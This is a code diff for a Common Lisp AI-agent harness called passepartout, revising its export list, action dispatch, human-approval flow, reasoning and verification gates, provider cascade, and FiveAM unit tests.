#:validate-communication-protocol-schema
|
||||
#:start-daemon
|
||||
#:stop-daemon
|
||||
#:log-message
|
||||
#:main
|
||||
#:doctor-run-all
|
||||
#:doctor-main
|
||||
#:doctor-check-dependencies
|
||||
#:doctor-check-env
|
||||
#:register-provider
|
||||
#:system-ready-p
|
||||
#:diagnostics-run-all
|
||||
#:diagnostics-main
|
||||
#:diagnostics-dependencies-check
|
||||
#:diagnostics-env-check
|
||||
#:register-provider
|
||||
#:provider-openai-request
|
||||
#:provider-config
|
||||
#:run-setup-wizard
|
||||
#:skill-gateway-register
|
||||
#:skill-gateway-link
|
||||
#:gateway-manager-main
|
||||
#:ingest-ast
|
||||
#:lookup-object
|
||||
#:list-objects-by-type
|
||||
#:org-id-new
|
||||
#:*memory*
|
||||
#:*history-store*
|
||||
#:org-object
|
||||
#:make-org-object
|
||||
#:org-object-id
|
||||
#:org-object-type
|
||||
#:org-object-attributes
|
||||
#:org-object-parent-id
|
||||
#:org-object-children
|
||||
#:org-object-version
|
||||
#:org-object-last-sync
|
||||
#:org-object-vector
|
||||
#:org-object-content
|
||||
#:org-object-hash
|
||||
#:memory-object-get
|
||||
#:*memory-store*
|
||||
#:memory-object
|
||||
#:make-memory-object
|
||||
#:memory-object-id
|
||||
#:memory-object-type
|
||||
#:memory-object-attributes
|
||||
#:memory-object-parent-id
|
||||
#:memory-object-children
|
||||
#:memory-object-version
|
||||
#:memory-object-last-sync
|
||||
#:memory-object-vector
|
||||
#:memory-object-content
|
||||
#:memory-object-hash
|
||||
#:memory-object-scope
|
||||
#:snapshot-memory
|
||||
#:rollback-memory
|
||||
#:context-query-store
|
||||
#:context-get-active-projects
|
||||
#:context-get-recent-completed-tasks
|
||||
#:context-list-all-skills
|
||||
#:context-get-skill-source
|
||||
#:context-get-system-logs
|
||||
#:context-resolve-path
|
||||
#:context-get-skill-telemetry
|
||||
#:telemetry-track
|
||||
#:context-assemble-global-awareness
|
||||
#:context-get-system-logs
|
||||
#:context-assemble-global-awareness
|
||||
#:context-awareness-assemble
|
||||
#:context-query
|
||||
#:push-context
|
||||
#:pop-context
|
||||
#:current-context
|
||||
#:current-scope
|
||||
#:context-stack-depth
|
||||
#:context-save
|
||||
#:context-load
|
||||
#:focus-project
|
||||
#:focus-session
|
||||
#:focus-memex
|
||||
#:unfocus
|
||||
#:process-signal
|
||||
#:loop-process
|
||||
#:loop-process
|
||||
#:perceive-gate
|
||||
#:probabilistic-gate
|
||||
#:consensus-gate
|
||||
#:act-gate
|
||||
#:reason-gate
|
||||
#:dispatch-gate
|
||||
#:inject-stimulus
|
||||
#:initialize-actuators
|
||||
#:dispatch-action
|
||||
#:perceive-gate
|
||||
#:loop-gate-perceive
|
||||
#:act-gate
|
||||
#:loop-gate-act
|
||||
#:reason-gate
|
||||
#:loop-gate-reason
|
||||
#:cognitive-verify
|
||||
#:backend-cascade-call
|
||||
#:register-pre-reason-handler
|
||||
#:inject-stimulus
|
||||
#:stimulus-inject
|
||||
#:hitl-create
|
||||
#:hitl-approve
|
||||
#:hitl-deny
|
||||
#:hitl-handle-message
|
||||
#:dispatcher-check-secret-path
|
||||
#:dispatcher-check-shell-safety
|
||||
#:dispatcher-check-privacy-tags
|
||||
#:dispatcher-check-network-exfil
|
||||
#:dispatcher-gate
|
||||
#:wildcard-match
|
||||
#:actuator-initialize
|
||||
#:action-dispatch
|
||||
#:register-actuator
|
||||
#:load-skill-from-org
|
||||
#:skill-initialize-all
|
||||
#:load-skill-with-timeout
|
||||
#:topological-sort-skills
|
||||
#:validate-lisp-syntax
|
||||
#:defskill
|
||||
#:*skill-registry*
|
||||
#:skill
|
||||
#:skill-initialize-all
|
||||
#:lisp-syntax-validate
|
||||
#:defskill
|
||||
#:*skill-registry*
|
||||
#:*scope-resolver*
|
||||
#:*embedding-backend*
|
||||
#:*embedding-queue*
|
||||
#:*embedding-provider*
|
||||
#:embed-queue-object
|
||||
#:embed-object
|
||||
#:embed-all-pending
|
||||
#:embedding-backend-hashing
|
||||
#:embeddings-compute
|
||||
#:mark-vector-stale
|
||||
#:skill
|
||||
#:skill-name
|
||||
#:skill-priority
|
||||
#:skill-dependencies
|
||||
@@ -83,61 +102,62 @@
|
||||
#:skill-deterministic-fn
|
||||
#:def-cognitive-tool
|
||||
#:*cognitive-tool-registry*
|
||||
#:verify-git-clean-p
|
||||
#:engineering-standards-verify-lisp
|
||||
#:engineering-standards-format-lisp
|
||||
#:literate-check-block-balance
|
||||
#:check-tangle-sync
|
||||
#:*tangle-targets*
|
||||
#:utils-org-read-file
|
||||
#:utils-org-write-file
|
||||
#:utils-org-add-headline
|
||||
#:utils-org-set-property
|
||||
#:utils-org-set-todo
|
||||
#:utils-org-find-headline-by-id
|
||||
#:utils-org-find-headline-by-title
|
||||
#:utils-org-generate-id
|
||||
#:utils-org-id-format
|
||||
#:utils-org-ast-to-org
|
||||
#:utils-org-modify
|
||||
#:utils-lisp-validate
|
||||
#:utils-lisp-check-structural
|
||||
#:utils-lisp-check-syntactic
|
||||
#:utils-lisp-check-semantic
|
||||
#:utils-lisp-eval
|
||||
#:utils-lisp-format
|
||||
#:utils-lisp-list-definitions
|
||||
#:utils-lisp-structural-extract
|
||||
#:utils-lisp-structural-wrap
|
||||
#:utils-lisp-structural-inject
|
||||
#:utils-lisp-structural-slurp
|
||||
#:utils-lisp-register
|
||||
#:org-read-file
|
||||
#:org-write-file
|
||||
#:org-headline-add
|
||||
#:org-headline-find-by-id
|
||||
#:literate-tangle-sync-check
|
||||
#:archivist-create-note
|
||||
#:gateway-start
|
||||
#:org-property-set
|
||||
#:org-todo-set
|
||||
#:org-id-generate
|
||||
#:org-id-format
|
||||
#:org-modify
|
||||
#:lisp-validate
|
||||
#:lisp-structural-check
|
||||
#:lisp-syntactic-check
|
||||
#:lisp-semantic-check
|
||||
#:lisp-eval
|
||||
#:lisp-format
|
||||
#:lisp-list-definitions
|
||||
#:lisp-extract
|
||||
#:lisp-inject
|
||||
#:lisp-slurp
|
||||
#:get-oc-config-dir
|
||||
#:prompt-for
|
||||
#:save-secret
|
||||
#:get-tool-permission
|
||||
#:set-tool-permission
|
||||
#:check-tool-permission-gate
|
||||
#:get-tool-permission
|
||||
#:set-tool-permission
|
||||
#:check-tool-permission-gate
|
||||
#:permission-get
|
||||
#:permission-set
|
||||
#:cognitive-tool
|
||||
#:cognitive-tool-name
|
||||
#:cognitive-tool-description
|
||||
#:cognitive-tool-parameters
|
||||
#:cognitive-tool-guard
|
||||
#:cognitive-tool-body
|
||||
#:*emacs-clients*
|
||||
#:*clients-lock*
|
||||
#:register-emacs-client
|
||||
#:unregister-emacs-client
|
||||
#:ask-probabilistic
|
||||
#:register-probabilistic-backend
|
||||
#:distill-prompt
|
||||
#:*probabilistic-backends*
|
||||
#:*provider-cascade*
|
||||
#:vault-get-secret
|
||||
#:vault-set-secret
|
||||
#:memory-objects-by-attribute
|
||||
#:deterministic-verify
|
||||
#:find-headline-missing-id))
|
||||
#:vault-get
|
||||
#:vault-set
|
||||
#:vault-get-secret
|
||||
#:vault-set-secret
|
||||
#:memory-objects-by-attribute
|
||||
#:gateway-cli-input
|
||||
#:repl-eval
|
||||
#:repl-inspect
|
||||
#:repl-list-vars
|
||||
#:policy-compliance-check
|
||||
#:validator-protocol-check
|
||||
#:archivist-extract-headlines
|
||||
#:archivist-headline-to-filename
|
||||
#:literate-extract-lisp-blocks
|
||||
#:literate-block-balance-check
|
||||
#:gateway-registry-initialize
|
||||
#:messaging-link
|
||||
#:messaging-unlink
|
||||
#:gateway-configured-p))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
@@ -201,6 +221,10 @@
|
||||
(format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<)))
|
||||
"No tools registered.")))
|
||||
|
||||
;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
|
||||
(defun generate-tool-belt-prompt ()
|
||||
(cognitive-tool-prompt))
|
||||
|
||||
(defun log-message (msg &rest args)
|
||||
"Centralized, thread-safe logging for the harness."
|
||||
(let ((formatted-msg (apply #'format nil msg args)))
|
||||
@@ -218,10 +242,12 @@
|
||||
(format t "┌─────────────────────────────────────────────┐~%")
|
||||
(format t "│ ERROR: ~A~%" (type-of condition))
|
||||
(format t "│~%")
|
||||
(format t "│ Run: passepartout doctor~%")
|
||||
(format t "│ Run: passepartout diagnostics~%")
|
||||
(format t "│ For system diagnostics~%")
|
||||
(format t "└─────────────────────────────────────────────┘~%")
|
||||
(format t "~%")
|
||||
(format t "Details: ~A~%" condition)
|
||||
(format t "Backtrace:~%")
|
||||
(sb-debug:print-backtrace :count 20 :stream *standard-output*)
|
||||
(finish-output)
|
||||
(uiop:quit 1)))
|
||||
|
||||
@@ -39,12 +39,18 @@
|
||||
(source (proto-get meta :source))
|
||||
(raw-target (or (proto-get action :target) source *actuator-default*))
|
||||
(target (intern (string-upcase (string raw-target)) :keyword))
|
||||
(actuator-fn (gethash target *actuator-registry*)))
|
||||
;; If target is :SYSTEM and we have a live reply-stream, route to :TUI instead
|
||||
(actual-target (if (and (eq target :system)
|
||||
(getf meta :reply-stream)
|
||||
(ignore-errors (open-stream-p (getf meta :reply-stream))))
|
||||
:tui
|
||||
target))
|
||||
(actuator-fn (gethash actual-target *actuator-registry*)))
|
||||
(when (and meta (null (getf action :meta)))
|
||||
(setf (getf action :meta) meta))
|
||||
(if actuator-fn
|
||||
(funcall actuator-fn action context)
|
||||
(log-message "ACT ERROR: No actuator registered for '~s'" target))))))
|
||||
(log-message "ACT ERROR: No actuator registered for '~s'" actual-target))))))
|
||||
|
||||
(defun action-system-execute (action context)
|
||||
"Execute internal harness commands."
|
||||
@@ -67,7 +73,7 @@
|
||||
(depth (getf context :depth 0))
|
||||
(meta (getf context :meta))
|
||||
(source (getf meta :source))
|
||||
(tool (gethash (string-downcase (string tool-name)) *cognitive-tools*)))
|
||||
(tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
(if tool
|
||||
(handler-case
|
||||
(let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
|
||||
@@ -97,16 +103,35 @@
|
||||
(format nil "TOOL [~a] RESULT: ~a" tool-name result)))
|
||||
|
||||
(defun loop-gate-act (signal)
|
||||
"Final stage of the metabolic pipeline: Actuation."
|
||||
"Final stage of the metabolic pipeline: Actuation.
|
||||
For approval-required actions, creates a Flight Plan instead of executing."
|
||||
(let* ((approved (getf signal :approved-action))
|
||||
(signal-status (getf signal :status))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(source (getf meta :source))
|
||||
(feedback nil))
|
||||
;; HITL: if the approved action requires human approval,
|
||||
;; create a Flight Plan (Emacs) and HITL entry (all gateways).
|
||||
(when (and approved
|
||||
(eq (getf approved :level) :approval-required))
|
||||
(let* ((payload (getf approved :payload))
|
||||
(blocked-action (getf payload :action))
|
||||
(hitl (hitl-create blocked-action)))
|
||||
(log-message "ACT: Action requires approval — creating Flight Plan + HITL (~a)" (getf hitl :token))
|
||||
(dispatcher-flight-plan-create blocked-action)
|
||||
(setf (getf signal :status) :suspended)
|
||||
(action-dispatch (list :target source
|
||||
:payload (list :text (getf hitl :message)))
|
||||
signal)
|
||||
(setf approved nil)
|
||||
(setf feedback nil)))
|
||||
(when approved
|
||||
(let* ((original-type (getf approved :type))
|
||||
(verified (deterministic-verify approved signal)))
|
||||
(if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT)) (not (member original-type '(:LOG :EVENT))))
|
||||
(verified (cognitive-verify approved signal)))
|
||||
(if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT))
|
||||
(not (eq (getf verified :level) :approval-required))
|
||||
(not (member original-type '(:LOG :EVENT))))
|
||||
(progn
|
||||
(log-message "ACT BLOCKED: Action failed last-mile deterministic check.")
|
||||
(setf (getf signal :approved-action) nil)
|
||||
@@ -132,6 +157,9 @@
|
||||
(setf (getf signal :status) :acted)
|
||||
feedback))
|
||||
|
||||
(defun act-gate (signal)
|
||||
(loop-gate-act signal))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -145,8 +173,47 @@
|
||||
(in-suite pipeline-act-suite)
|
||||
|
||||
(test test-loop-gate-act-basic
|
||||
(clrhash passepartout::*skills-registry*)
|
||||
"Contract 1: approved action reaches :acted status via loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
|
||||
(result (loop-gate-act signal)))
|
||||
(result (loop-gate-act signal)))
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-loop-gate-act-no-approved-action
|
||||
"Contract 1: signal with no approved-action still reaches :acted status."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0)))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))))
|
||||
|
||||
(test test-loop-gate-act-last-mile-reject
|
||||
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-blocker
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx action))
|
||||
(list :type :LOG :payload (list :text "Last-mile block"))))
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0
|
||||
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null (getf signal :approved-action)))))
|
||||
|
||||
(test test-loop-gate-act-preserves-meta
|
||||
"Contract 1: signal metadata is not mutated by loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((meta '(:source :tui :session "s1"))
|
||||
(signal (list :type :EVENT :status nil :depth 0 :meta meta
|
||||
:approved-action '(:target :cli :payload (:text "test")))))
|
||||
(loop-gate-act signal)
|
||||
(is (equal meta (getf signal :meta)))))
|
||||
|
||||
(test test-action-dispatch-routes
|
||||
"Contract 3: action-dispatch routes to registered actuators without crashing."
|
||||
(actuator-initialize)
|
||||
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
|
||||
'(:type :EVENT :depth 0))))
|
||||
(is (numberp result) "eval should return a number")))
|
||||
|
||||
@@ -2,12 +2,26 @@
|
||||
|
||||
(defvar *loop-interrupt* nil)
|
||||
|
||||
(defvar *scope-resolver* nil
|
||||
"If set, function returning current scope keyword. Used by perceive gate.")
|
||||
|
||||
(defvar *loop-async-sensors* '(:chat-message :delegation :user-command)
|
||||
"Sensors that are processed in dedicated threads.")
|
||||
|
||||
(defvar *loop-focus-id* nil
|
||||
"The Org ID of the node the user is currently interacting with.")
|
||||
|
||||
(defvar *pre-reason-handlers* (make-hash-table :test 'eq)
|
||||
"Pre-reason handler registry: sensor keyword → handler function.")
|
||||
|
||||
(defun register-pre-reason-handler (sensor fn)
|
||||
"Registers FN to handle signals with SENSOR in the perceive gate.
|
||||
FN receives (signal) and returns T if consumed, nil to continue."
|
||||
(setf (gethash sensor *pre-reason-handlers*) fn))
|
||||
|
||||
(defun inject-stimulus (raw-message &key stream (depth 0))
|
||||
(stimulus-inject raw-message :stream stream :depth depth))
|
||||
|
||||
(defun stimulus-inject (raw-message &key stream (depth 0))
|
||||
"Inject a raw message into the signal processing pipeline."
|
||||
(let* ((payload (getf raw-message :payload))
|
||||
@@ -43,28 +57,49 @@
|
||||
(defun loop-gate-perceive (signal)
|
||||
"Stage 1 of the metabolic pipeline: Normalize sensory input."
|
||||
(let* ((payload (getf signal :payload))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(sensor (getf payload :sensor)))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(sensor (getf payload :sensor)))
|
||||
;; HITL: intercept approval/denial commands before LLM processing
|
||||
(when (and (eq sensor :user-input)
|
||||
(stringp (getf payload :text)))
|
||||
(let ((text (getf payload :text)))
|
||||
(when (ignore-errors (hitl-handle-message text (getf meta :source)))
|
||||
(log-message "GATE [Perceive]: HITL command processed — ~a" text)
|
||||
(return-from loop-gate-perceive signal))))
|
||||
;; Pre-reason handlers: dispatch custom sensors to registered skill handlers
|
||||
(let ((handler (gethash sensor *pre-reason-handlers*)))
|
||||
(when handler
|
||||
(when (funcall handler signal)
|
||||
(return-from loop-gate-perceive signal))))
|
||||
|
||||
(log-message "GATE [Perceive]: ~a (~a) [Source: ~s]"
|
||||
type (or sensor "no-sensor") (getf meta :source))
|
||||
|
||||
(cond ((eq type :EVENT)
|
||||
(case sensor
|
||||
(:buffer-update
|
||||
(let ((ast (getf payload :ast)))
|
||||
(when ast
|
||||
(snapshot-memory)
|
||||
(ingest-ast ast))))
|
||||
(:point-update
|
||||
(let ((element (getf payload :element)))
|
||||
(when element
|
||||
(snapshot-memory)
|
||||
(setf *loop-focus-id* (getf element :id))
|
||||
(ingest-ast element))))
|
||||
(:interrupt
|
||||
(setf *loop-interrupt* t))))
|
||||
(case sensor
|
||||
(:buffer-update
|
||||
(let ((ast (getf payload :ast)))
|
||||
(when ast
|
||||
(snapshot-memory)
|
||||
(ingest-ast ast :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
|
||||
(:point-update
|
||||
(let ((element (getf payload :element)))
|
||||
(when element
|
||||
(snapshot-memory)
|
||||
(setf *loop-focus-id* (getf element :id))
|
||||
(ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
|
||||
(:interrupt
|
||||
(setf *loop-interrupt* t))
|
||||
;; HITL: re-injected approved action from dispatcher-approvals-process
|
||||
(:approval-required
|
||||
(when (getf payload :approved)
|
||||
(log-message "GATE [Perceive]: Approved Flight Plan re-injected")
|
||||
(setf (getf signal :approved) t)
|
||||
(setf (getf signal :approved-action) (getf payload :action))))
|
||||
;; Default sensor: pass through without requiring user-input processing
|
||||
(otherwise
|
||||
(log-message "GATE [Perceive]: Unknown sensor ~a, passing through" sensor))))
|
||||
((eq type :RESPONSE)
|
||||
(log-message "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
|
||||
|
||||
@@ -72,6 +107,9 @@
|
||||
(setf (getf signal :foveal-focus) *loop-focus-id*)
|
||||
signal))
|
||||
|
||||
(defun perceive-gate (signal)
|
||||
(loop-gate-perceive signal))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -85,12 +123,33 @@
|
||||
(in-suite pipeline-perceive-suite)
|
||||
|
||||
(test test-loop-gate-perceive
|
||||
(clrhash passepartout::*memory*)
|
||||
"Contract 1: :buffer-update ingests AST and sets :perceived status."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))
|
||||
(is (not (null (gethash "test-node" passepartout::*memory*))))))
|
||||
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
|
||||
|
||||
(test test-depth-limiting
|
||||
"Edge: depth 11 signals are rejected by the pipeline."
|
||||
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
|
||||
(is (null (process-signal runaway-signal)))))
|
||||
|
||||
(test test-loop-gate-perceive-unknown-sensor
|
||||
"Contract 1: unknown sensors pass through and reach :perceived."
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-loop-gate-perceive-no-ast
|
||||
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
|
||||
(result (loop-gate-perceive signal)))
|
||||
(is (eq :perceived (getf result :status)))))
|
||||
|
||||
(test test-depth-limiting-normal
|
||||
"Contract 1: signals at normal depth pass through without rejection."
|
||||
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
|
||||
(is (not (eq :rejected (getf normal-signal :status)))
|
||||
"Signal at normal depth should not be rejected")))
|
||||
|
||||
@@ -1,5 +1,12 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *probabilistic-backends* (make-hash-table :test 'equal)
|
||||
"Maps provider keyword → handler function (prompt system-prompt &key model).")
|
||||
|
||||
(defun register-probabilistic-backend (name fn)
|
||||
"Register FN as the handler for provider NAME."
|
||||
(setf (gethash name *probabilistic-backends*) fn))
|
||||
|
||||
(defvar *backend-registry* (make-hash-table :test 'equal))
|
||||
|
||||
(defvar *provider-cascade* nil)
|
||||
@@ -15,27 +22,33 @@
|
||||
(system-prompt "You are the Probabilistic engine.")
|
||||
(cascade nil)
|
||||
(context nil))
|
||||
(let ((backends (or cascade *provider-cascade*)))
|
||||
(or (dolist (backend backends)
|
||||
(let ((backend-fn (gethash backend *backend-registry*)))
|
||||
(when backend-fn
|
||||
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
|
||||
(let* ((model (when *model-selector*
|
||||
(funcall *model-selector* backend context)))
|
||||
(result (if model
|
||||
(funcall backend-fn prompt system-prompt :model model)
|
||||
(funcall backend-fn prompt system-prompt))))
|
||||
(cond ((and (listp result) (eq (getf result :status) :success))
|
||||
(return (getf result :content)))
|
||||
((stringp result)
|
||||
(return result))
|
||||
(t
|
||||
(log-message "PROBABILISTIC: Backend ~a failed: ~a"
|
||||
backend (getf result :message))))))))
|
||||
(list :type :LOG
|
||||
:payload (list :text "Neural Cascade Failure: All providers exhausted.")))))
|
||||
|
||||
(defun markdown-strip (text)
|
||||
(let ((backends (or cascade *provider-cascade*))
|
||||
(result nil))
|
||||
(dolist (backend backends (or result
|
||||
(list :type :LOG
|
||||
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
|
||||
(let ((backend-fn (or (gethash backend *backend-registry*)
|
||||
(gethash backend *probabilistic-backends*))))
|
||||
(when backend-fn
|
||||
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
|
||||
(let* ((model (and *model-selector*
|
||||
(funcall *model-selector* backend context)))
|
||||
(skip (eq model :skip))
|
||||
(r (unless skip
|
||||
(if (and model (not skip))
|
||||
(funcall backend-fn prompt system-prompt :model model)
|
||||
(funcall backend-fn prompt system-prompt)))))
|
||||
(when skip
|
||||
(log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
|
||||
(cond ((and (listp r) (eq (getf r :status) :success))
|
||||
(setf result (getf r :content))
|
||||
(return result))
|
||||
((stringp r)
|
||||
(setf result r)
|
||||
(return result))
|
||||
(t
|
||||
(log-message "PROBABILISTIC: Backend ~a failed: ~a"
|
||||
backend (getf r :message))))))))))(defun markdown-strip (text)
|
||||
(if (and text (stringp text))
|
||||
(let ((cleaned text))
|
||||
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
|
||||
@@ -75,42 +88,63 @@
|
||||
(let ((aug-text (ignore-errors (funcall aug-fn context))))
|
||||
(when (and aug-text (stringp aug-text) (> (length aug-text) 0))
|
||||
(setf augments (concatenate 'string augments aug-text (string #\Newline))))))))
|
||||
*skills-registry*)
|
||||
*skill-registry*)
|
||||
(when (> (length augments) 0) augments)))
|
||||
(system-prompt (format nil "IDENTITY: ~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a~%~a"
|
||||
assistant-name reflection-feedback tool-belt global-context system-logs
|
||||
(or skill-augments ""))))
|
||||
(let* ((thought (backend-cascade-call raw-prompt :system-prompt system-prompt :context context))
|
||||
(cleaned (markdown-strip thought)))
|
||||
(cleaned (if (and (listp thought) (getf thought :type))
|
||||
(format nil "~a" (getf (getf thought :payload) :text))
|
||||
(markdown-strip thought))))
|
||||
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
|
||||
(handler-case
|
||||
(let ((parsed (read-from-string cleaned)))
|
||||
(if (listp parsed)
|
||||
(plist-keywords-normalize parsed)
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(let ((parsed (read-from-string cleaned)))
|
||||
(if (listp parsed)
|
||||
(let ((normalized (plist-keywords-normalize parsed)))
|
||||
;; Ensure explanation is present in the payload for policy gate
|
||||
(let ((payload (proto-get normalized :payload)))
|
||||
(if (and payload (proto-get payload :explanation))
|
||||
normalized
|
||||
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
|
||||
(if (listp payload) payload nil))))
|
||||
(list* :PAYLOAD new-payload
|
||||
(loop for (k v) on normalized by #'cddr
|
||||
unless (eq k :PAYLOAD)
|
||||
collect k collect v))))))
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
|
||||
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))
|
||||
|
||||
(defun cognitive-verify (proposed-action context)
|
||||
(let ((current-action proposed-action)
|
||||
(skills nil))
|
||||
"Runs all registered deterministic gates against the proposed action,
|
||||
sorted by priority (highest first). Returns a rejection plist or the action."
|
||||
(let ((current-action (copy-tree proposed-action))
|
||||
(approval-needed nil)
|
||||
(approval-action nil)
|
||||
(gates nil))
|
||||
;; Collect gates sorted by priority (highest first)
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(when (skill-deterministic-fn skill)
|
||||
(push skill skills)))
|
||||
*skills-registry*)
|
||||
(setf skills (sort skills #'> :key #'skill-priority))
|
||||
(dolist (skill skills)
|
||||
(let ((trigger (skill-trigger-fn skill))
|
||||
(gate (skill-deterministic-fn skill)))
|
||||
(when (or (null trigger) (ignore-errors (funcall trigger context)))
|
||||
(let ((next-action (funcall gate current-action context)))
|
||||
(when (and (listp next-action)
|
||||
(member (proto-get next-action :type) '(:LOG :EVENT)))
|
||||
(log-message "DETERMINISTIC: Intercepted by skill '~a'" (skill-name skill))
|
||||
(return-from cognitive-verify next-action))
|
||||
(when next-action (setf current-action next-action))))))
|
||||
current-action))
|
||||
(push (cons (skill-priority skill) (skill-deterministic-fn skill)) gates)))
|
||||
*skill-registry*)
|
||||
(setf gates (sort gates #'> :key #'car))
|
||||
(dolist (gate-pair gates)
|
||||
(let ((result (funcall (cdr gate-pair) current-action context)))
|
||||
(cond
|
||||
((eq (getf result :level) :approval-required)
|
||||
(setf approval-needed t
|
||||
approval-action (getf (getf result :payload) :action)))
|
||||
((member (getf result :type) '(:LOG :EVENT))
|
||||
(return-from cognitive-verify result))
|
||||
((and (listp result) result)
|
||||
(setf current-action result)))))
|
||||
(if approval-needed
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :sensor :approval-required
|
||||
:action approval-action))
|
||||
current-action)))
|
||||
|
||||
(defun loop-gate-reason (signal)
|
||||
(let* ((type (proto-get signal :type))
|
||||
@@ -129,19 +163,29 @@
|
||||
(when last-rejection
|
||||
(setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
|
||||
(let ((candidate (think current-signal)))
|
||||
(if (and candidate (listp candidate))
|
||||
(let ((verified (cognitive-verify candidate current-signal)))
|
||||
(if (member (getf verified :type) '(:LOG :EVENT))
|
||||
(progn (decf retries) (setf last-rejection verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))))
|
||||
(if (and candidate (listp candidate))
|
||||
(let ((verified (cognitive-verify candidate current-signal)))
|
||||
;; Approval-required is not a rejection — pass to act for Flight Plan
|
||||
(if (eq (getf verified :level) :approval-required)
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :requires-approval)
|
||||
(return signal))
|
||||
;; Hard rejection: retry with feedback
|
||||
(if (member (getf verified :type) '(:LOG :EVENT))
|
||||
(progn (decf retries) (setf last-rejection verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal)))))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) nil)
|
||||
(setf (getf signal :status) :reasoned)
|
||||
(return signal))))))))
|
||||
|
||||
(defun reason-gate (signal)
|
||||
(loop-gate-reason signal))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -155,7 +199,8 @@
|
||||
(in-suite pipeline-reason-suite)
|
||||
|
||||
(test test-decide-gate-safety
|
||||
(clrhash passepartout::*skills-registry*)
|
||||
"Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-safety
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
@@ -168,3 +213,73 @@
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
